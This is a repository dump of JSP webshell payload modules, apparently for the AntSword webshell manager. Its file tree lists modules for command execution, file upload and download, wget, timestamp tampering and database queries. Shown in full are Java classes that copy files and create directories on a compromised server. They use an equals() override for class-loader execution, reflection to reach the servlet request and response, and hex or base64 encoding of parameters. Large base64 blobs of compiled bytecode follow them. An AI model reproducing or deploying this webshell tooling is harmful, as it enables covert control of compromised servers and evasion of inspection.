├── CopyFileOrDirCode.class ├── CopyFileOrDirCode.java ├── CopyFileOrDirCode.txt ├── CreateDirCode.class ├── CreateDirCode.java ├── CreateDirCode.txt ├── DeleteFileOrDirCode.class ├── DeleteFileOrDirCode.java ├── DeleteFileOrDirCode.txt ├── Demo.class ├── Demo.java ├── Demo.txt ├── DownloadFileCode.class ├── DownloadFileCode.java ├── DownloadFileCode.txt ├── ExecuteCommandCode.class ├── ExecuteCommandCode.java ├── ExecuteCommandCode.txt ├── FileTreeCode.class ├── FileTreeCode.java ├── FileTreeCode.txt ├── ModifyFileOrDirTimeCode.class ├── ModifyFileOrDirTimeCode.java ├── ModifyFileOrDirTimeCode.txt ├── MysqlQuery.class ├── MysqlQuery.java ├── MysqlQuery.txt ├── MysqlShowColumns.class ├── MysqlShowColumns.java ├── MysqlShowColumns.txt ├── MysqlShowDatabases.class ├── MysqlShowDatabases.java ├── MysqlShowDatabases.txt ├── MysqlShowTables.class ├── MysqlShowTables.java ├── MysqlShowTables.txt ├── OracleQuery.class ├── OracleQuery.java ├── OracleQuery.txt ├── OracleShowColumns.class ├── OracleShowColumns.java ├── OracleShowColumns.txt ├── OracleShowDatabases.class ├── OracleShowDatabases.java ├── OracleShowDatabases.txt ├── OracleShowTables.class ├── OracleShowTables.java ├── OracleShowTables.txt ├── README.md ├── ReadFileCode.class ├── ReadFileCode.java ├── ReadFileCode.txt ├── RenameFileOrDirCode.class ├── RenameFileOrDirCode.java ├── RenameFileOrDirCode.txt ├── SysInfoCode.class ├── SysInfoCode.java ├── SysInfoCode.txt ├── UploadFileCode.class ├── UploadFileCode.java ├── UploadFileCode.txt ├── WgetCode.class ├── WgetCode.java ├── WgetCode.txt ├── WriteFileCode.class ├── WriteFileCode.java ├── WriteFileCode.txt └── build.py /CopyFileOrDirCode.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/CopyFileOrDirCode.class -------------------------------------------------------------------------------- /CopyFileOrDirCode.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.http.HttpServletRequest; 2 | import javax.servlet.http.HttpServletResponse; 3 | import javax.servlet.jsp.PageContext; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.File; 6 | import java.io.FileInputStream; 7 | import java.io.FileOutputStream; 8 | import java.lang.reflect.Field; 9 | 10 | public class CopyFileOrDirCode { 11 | public HttpServletRequest request = null; 12 | public HttpServletResponse response = null; 13 | public String encoder; 14 | public String cs; 15 | 16 | @Override 17 | public boolean equals(Object obj) { 18 | if (obj instanceof PageContext) { 19 | PageContext page = (PageContext) obj; 20 | request = (HttpServletRequest) page.getRequest(); 21 | response = (HttpServletResponse) page.getResponse(); 22 | } else if (obj instanceof HttpServletRequest) { 23 | request = (HttpServletRequest) obj; 24 | try { 25 | Field req = request.getClass().getDeclaredField("request"); 26 | req.setAccessible(true); 27 | HttpServletRequest request2 = (HttpServletRequest) req.get(request); 28 | Field resp = request2.getClass().getDeclaredField("response"); 29 | resp.setAccessible(true); 30 | response = (HttpServletResponse) resp.get(request2); 31 | } catch (Exception e) { 32 | e.printStackTrace(); 33 | } 34 | 35 | } else if (obj instanceof HttpServletResponse) { 36 | response = (HttpServletResponse) obj; 37 | try { 38 | Field resp = response.getClass().getDeclaredField("response"); 39 | resp.setAccessible(true); 40 | HttpServletResponse response2 = (HttpServletResponse) resp.get(response); 41 | Field req = response2.getClass().getDeclaredField("request"); 42 | req.setAccessible(true); 43 | request = (HttpServletRequest) req.get(response2); 44 | } catch (Exception e) { 45 | e.printStackTrace(); 46 | } 47 | } 48 | encoder = request.getParameter("encoder") != null ? request.getParameter("encoder") : ""; 49 | cs = request.getParameter("charset") != null ? request.getParameter("charset") : "UTF-8"; 50 | StringBuffer output = new StringBuffer(""); 51 | StringBuffer sb = new StringBuffer(""); 52 | try { 53 | response.setContentType("text/html"); 54 | request.setCharacterEncoding(cs); 55 | response.setCharacterEncoding(cs); 56 | String var1 = EC(decode(request.getParameter("var1") + "")); 57 | String var2 = EC(decode(request.getParameter("var2") + "")); 58 | output.append("->" + "|"); 59 | sb.append(CopyFileOrDirCode(var1, var2)); 60 | output.append(sb.toString()); 61 | output.append("|" + "<-"); 62 | response.getWriter().print(output.toString()); 63 | } catch (Exception e) { 64 | sb.append("ERROR" + ":// " + e.toString()); 65 | } 66 | return true; 67 | } 68 | 69 | String EC(String s) throws Exception { 70 | if (encoder.equals("hex")) return s; 71 | return new String(s.getBytes(), cs); 72 | } 73 | 74 | String decode(String str) throws Exception { 75 | if (encoder.equals("hex")) { 76 | if (str == null || str.equals("")) { 77 | return ""; 78 | } 79 | String hexString = "0123456789ABCDEF"; 80 | str = str.toUpperCase(); 81 | ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2); 82 | String ss = ""; 83 | for (int i = 0; i < str.length(); i += 2) { 84 | ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; 85 | baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); 86 | } 87 | return baos.toString("UTF-8"); 88 | } else if (encoder.equals("base64")) { 89 | byte[] bt = null; 90 | try { 91 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 92 | bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 93 | } catch (ClassNotFoundException e) { 94 | Class clazz = Class.forName("java.util.Base64"); 95 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 96 | bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 97 | } 98 | return new String(bt, "UTF-8"); 99 | } 100 | return str; 101 | } 102 | 103 | String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception { 104 | File sf = new File(sourceFilePath), df = new File(targetFilePath); 105 | if (sf.isDirectory()) { 106 | if (!df.exists()) { 107 | df.mkdir(); 108 | } 109 | File z[] = sf.listFiles(); 110 | for (int j = 0; j < z.length; j++) { 111 | CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName()); 112 | } 113 | } else { 114 | FileInputStream is = new FileInputStream(sf); 115 | FileOutputStream os = new FileOutputStream(df); 116 | int n; 117 | byte[] b = new byte[1024]; 118 | while ((n = is.read(b, 0, 1024)) != -1) { 119 | os.write(b, 0, n); 120 | } 121 | is.close(); 122 | os.close(); 123 | } 124 | return "1"; 125 | } 126 | 127 | } 128 | -------------------------------------------------------------------------------- /CopyFileOrDirCode.txt: -------------------------------------------------------------------------------- 1 | yv66vgAAADIBFAoARgCBCQBeAIIJAF4AgwcAhAoABACFBwCGCgAEAIcHAIgKAEYAiQgAXwoAQwCKCgCLAIwKAIsAjQgAYQcAjgoADwCPCABjCwAGAJAIAJEJAF4AkggAkwgAlAkAXgCVBwCWCgAYAJcIAJgLAAgAmQsABgCaCwAIAJoHAJsKAB4AgQgAnAoAHgCdCgAeAJ4KAF4AnwoAXgCgCAChCACiCgAYAKMKAF4ApAoAGACeCAClCwAIAKYKAKcAqAgAqQoADwCeCACqCgAxAKsHAKwKADEArQoAMQCuCACvCgAxALAHALEKADEAsgoANgCzCgAxALQKADEAtQoAHgC2CAC3CgA2ALgKADYAuQgAuggAuwoAQwC8CAC9BwC+CgBDAL8KAEMAwAcAwQoAwgDDBwDEBwDFCADGCADHCAB2BwDICgBNAJcKAE0AyQoATQDKCgBNAMsKAE0AzAgAzQoATQDOBwDPCgBVANAHANEKAFcA0AoAVQDSCgBXANMKAFUA1AoAVwDUCADVBwB5AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2VuY29kZXIBABJMamF2YS9sYW5nL1N0cmluZzsBAAJjcwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAA1TdGFja01hcFRhYmxlBwCOBwB5BwB5BwDBBwCsBwCWAQACRUMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMBAAZkZWNvZGUHALEHAMUBABFDb3B5RmlsZU9yRGlyQ29kZQEAOChMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7BwDIBwDWBwDPBwDRAQAKU291cmNlRmlsZQEAFkNvcHlGaWxlT3JEaXJDb2RlLmphdmEMAGYAZwwAXwBgDABhAGIBAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAwA1wDYAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwA2QDaAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UMANsA3AwA3QDeBwDfDADgAOEMAOIA4wEAE2phdmEvbGFuZy9FeGNlcHRpb24MAOQAZwwA5QB0AQAADABjAGQBAAdjaGFyc2V0AQAFVVRGLTgMAGUAZAEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAGYA5gEACXRleHQvaHRtbAwA5wDmDADoAOYBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjEMAOkA6gwA6wDsDAB2AHQMAHMAdAEABHZhcjIBAAMtPnwMAOkA7QwAeQB6AQADfDwtDADuAO8HAPAMAPEA5gEACUVSUk9SOi8vIAEAA2hleAwAagBrAQAQamF2YS9sYW5nL1N0cmluZwwA8gDzDABmAPQBABAwMTIzNDU2Nzg5QUJDREVGDAD1AOwBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwA9gD3DABmAPgMAPkA+gwA+wD8DADpAP0BAAEsDAD+APgMAOsAdAEABmJhc2U2NAEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIMAP8BAAEADGRlY29kZUJ1ZmZlcgEAD2phdmEvbGFuZy9DbGFzcwwBAQECDAEDAQQBABBqYXZhL2xhbmcvT2JqZWN0BwEFDAEGAQcBAAJbQgEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIBAAxqYXZhL2lvL0ZpbGUMAQgBCQwBCgEJDAELAQkMAQwBDQEAAS8MAQ4A7AEAF2phdmEvaW8vRmlsZUlucHV0U3RyZWFtDABmAQ8BABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0MARABEQwA/gESDAETAGcBAAExAQAPW0xqYXZhL2lvL0ZpbGU7AQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAMZ2V0UGFyYW1ldGVyAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmpl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 -------------------------------------------------------------------------------- /CreateDirCode.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/CreateDirCode.class -------------------------------------------------------------------------------- /CreateDirCode.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.http.HttpServletRequest; 2 | import javax.servlet.http.HttpServletResponse; 3 | import javax.servlet.jsp.PageContext; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.File; 6 | import java.lang.reflect.Field; 7 | 8 | public class CreateDirCode { 9 | public HttpServletRequest request = null; 10 | public HttpServletResponse response = null; 11 | public String encoder; 12 | public String cs; 13 | 14 | @Override 15 | public boolean equals(Object obj) { 16 | if (obj instanceof PageContext) { 17 | PageContext page = (PageContext) obj; 18 | request = (HttpServletRequest) page.getRequest(); 19 | response = (HttpServletResponse) page.getResponse(); 20 | } else if (obj instanceof HttpServletRequest) { 21 | request = (HttpServletRequest) obj; 22 | try { 23 | Field req = request.getClass().getDeclaredField("request"); 24 | req.setAccessible(true); 25 | HttpServletRequest request2 = (HttpServletRequest) req.get(request); 26 | Field resp = request2.getClass().getDeclaredField("response"); 27 | resp.setAccessible(true); 28 | response = (HttpServletResponse) resp.get(request2); 29 | } catch (Exception e) { 30 | e.printStackTrace(); 31 | } 32 | 33 | } else if (obj instanceof HttpServletResponse) { 34 | response = (HttpServletResponse) obj; 35 | try { 36 | Field resp = response.getClass().getDeclaredField("response"); 37 | resp.setAccessible(true); 38 | HttpServletResponse response2 = (HttpServletResponse) resp.get(response); 39 | Field req = response2.getClass().getDeclaredField("request"); 40 | req.setAccessible(true); 41 | request = (HttpServletRequest) req.get(response2); 42 | } catch (Exception e) { 43 | e.printStackTrace(); 44 | } 45 | } 46 | encoder = request.getParameter("encoder") != null ? request.getParameter("encoder") : ""; 47 | cs = request.getParameter("charset") != null ? request.getParameter("charset") : "UTF-8"; 48 | StringBuffer output = new StringBuffer(""); 49 | StringBuffer sb = new StringBuffer(""); 50 | try { 51 | response.setContentType("text/html"); 52 | request.setCharacterEncoding(cs); 53 | response.setCharacterEncoding(cs); 54 | String var1 = EC(decode(request.getParameter("var1") + "")); 55 | output.append("->" + "|"); 56 | sb.append(CreateDirCode(var1)); 57 | output.append(sb.toString()); 58 | output.append("|" + "<-"); 59 | response.getWriter().print(output.toString()); 60 | } catch (Exception e) { 61 | sb.append("ERROR" + ":// " + e.toString()); 62 | } 63 | return true; 64 | } 65 | 66 | String EC(String s) throws Exception { 67 | if (encoder.equals("hex")) return s; 68 | return new String(s.getBytes(), cs); 69 | } 70 | 71 | String decode(String str) throws Exception { 72 | if (encoder.equals("hex")) { 73 | if (str == null || str.equals("")) { 74 | return ""; 75 | } 76 | String hexString = "0123456789ABCDEF"; 77 | str = str.toUpperCase(); 78 | ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2); 79 | String ss = ""; 80 | for (int i = 0; i < str.length(); i += 2) { 81 | ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; 82 | baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); 83 | } 84 | return baos.toString("UTF-8"); 85 | } else if (encoder.equals("base64")) { 86 | byte[] bt = null; 87 | try { 88 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 89 | bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 90 | } catch (ClassNotFoundException e) { 91 | Class clazz = Class.forName("java.util.Base64"); 92 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 93 | bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 94 | } 95 | return new String(bt, "UTF-8"); 96 | } 97 | return str; 98 | } 99 | 100 | String CreateDirCode(String dirPath) throws Exception { 101 | File f = new File(dirPath); 102 | f.mkdir(); 103 | return "1"; 104 | } 105 | 106 | } 107 | -------------------------------------------------------------------------------- /CreateDirCode.txt: -------------------------------------------------------------------------------- 1 | yv66vgAAADIA6goARQBuCQBQAG8JAFAAcAcAcQoABAByBwBzCgAEAHQHAHUKAEUAdggAUQoAQgB3CgB4AHkKAHgAeggAUwcAewoADwB8CABVCwAGAH0IAH4JAFAAfwgAgAgAgQkAUACCBwCDCgAYAIQIAIULAAgAhgsABgCHCwAIAIcHAIgKAB4AbggAiQoAHgCKCgAeAIsKAFAAjAoAUACNCACOCgAYAI8KAFAAkAoAGACLCACRCwAIAJIKAJMAlAgAlQoADwCLCACWCgAwAJcHAJgKADAAmQoAMACaCACbCgAwAJwHAJ0KADAAngoANQCfCgAwAKAKADAAoQoAHgCiCACjCgA1AKQKADUApQgApggApwoAQgCoCACpBwCqCgBCAKsKAEIArAcArQoArgCvBwCwBwCxCACyCACzCABoBwC0CgBMAIQKAEwAtQgAtgcAawEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAewcAawcAawcArQcAmAcAgwEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCdBwCxAQANQ3JlYXRlRGlyQ29kZQEAClNvdXJjZUZpbGUBABJDcmVhdGVEaXJDb2RlLmphdmEMAFgAWQwAUQBSDABTAFQBAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAwAtwC4AQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwAuQC6AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UMALsAvAwAvQC+BwC/DADAAMEMAMIAwwEAE2phdmEvbGFuZy9FeGNlcHRpb24MAMQAWQwAxQBmAQAADABVAFYBAAdjaGFyc2V0AQAFVVRGLTgMAFcAVgEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAFgAxgEACXRleHQvaHRtbAwAxwDGDADIAMYBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjEMAMkAygwAywDMDABoAGYMAGUAZgEAAy0+fAwAyQDNDABrAGYBAAN8PC0MAM4AzwcA0AwA0QDGAQAJRVJST1I6Ly8gAQADaGV4DABcAF0BABBqYXZhL2xhbmcvU3RyaW5nDADSANMMAFgA1AEAEDAxMjM0NTY3ODlBQkNERUYMANUAzAEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDADWANcMAFgA2AwA2QDaDADbANwMAMkA3QEAASwMAN4A2AwAywBmAQAGYmFzZTY0AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwA3wDgAQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzDADhAOIMAOMA5AEAEGphdmEvbGFuZy9PYmplY3QHAOUMAOYA5wEAAltCAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BABBqYXZhLnV0aWwuQmFzZTY0AQAKZ2V0RGVjb2RlcgEADGphdmEvaW8vRmlsZQwA6ADpAQABMQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEADGdldFBhcmFtZXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALdG9VcHBlckNhc2UBAAZsZW5ndGgBAAMoKUkBAAQoSSlWAQAGY2hhckF0AQAEKEkpQwEAB2luZGV4T2YBAAQoSSlJAQAcKEkpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABXdyaXRlAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABW1rZGlyAQADKClaACEAUABFAAAABAABAFEAUgAAAAEAUwBUAAAAAQBVAFYAAAABAFcAVgAAAAUAAQBYAFkAAQBaAAAALwACAAEAAAAPKrcAASoBtQACKgG1AAOxAAAAAQBbAAAADgADAAAACAAEAAkACQAKAAEAXABdAAEAWgAAAv8ABQAFAAABxyvBAASZACErwAAETSostgAFwAAGtQACKiy2AAfAAAi1AAOnAKwrwQAGmQBSKivAAAa1AAIqtAACtgAJEgq2AAtNLAS2AAwsKrQAArYADcAABk4ttgAJEg62AAs6BBkEBLYADCoZBC22AA3AAAi1AAOnAF5NLLYAEKcAVivBAAiZAE8qK8AACLUAAyq0AAO2AAkSDrYAC00sBLYADCwqtAADtgANwAAITi22AAkSCrYACzoEGQQEtgAMKhkELbYADcAABrUAAqcACE0stgAQKiq0AAISEbkAEgIAxgARKrQAAhIRuQASAgCnAAUSE7UAFCoqtAACEhW5ABICAMYAESq0AAISFbkAEg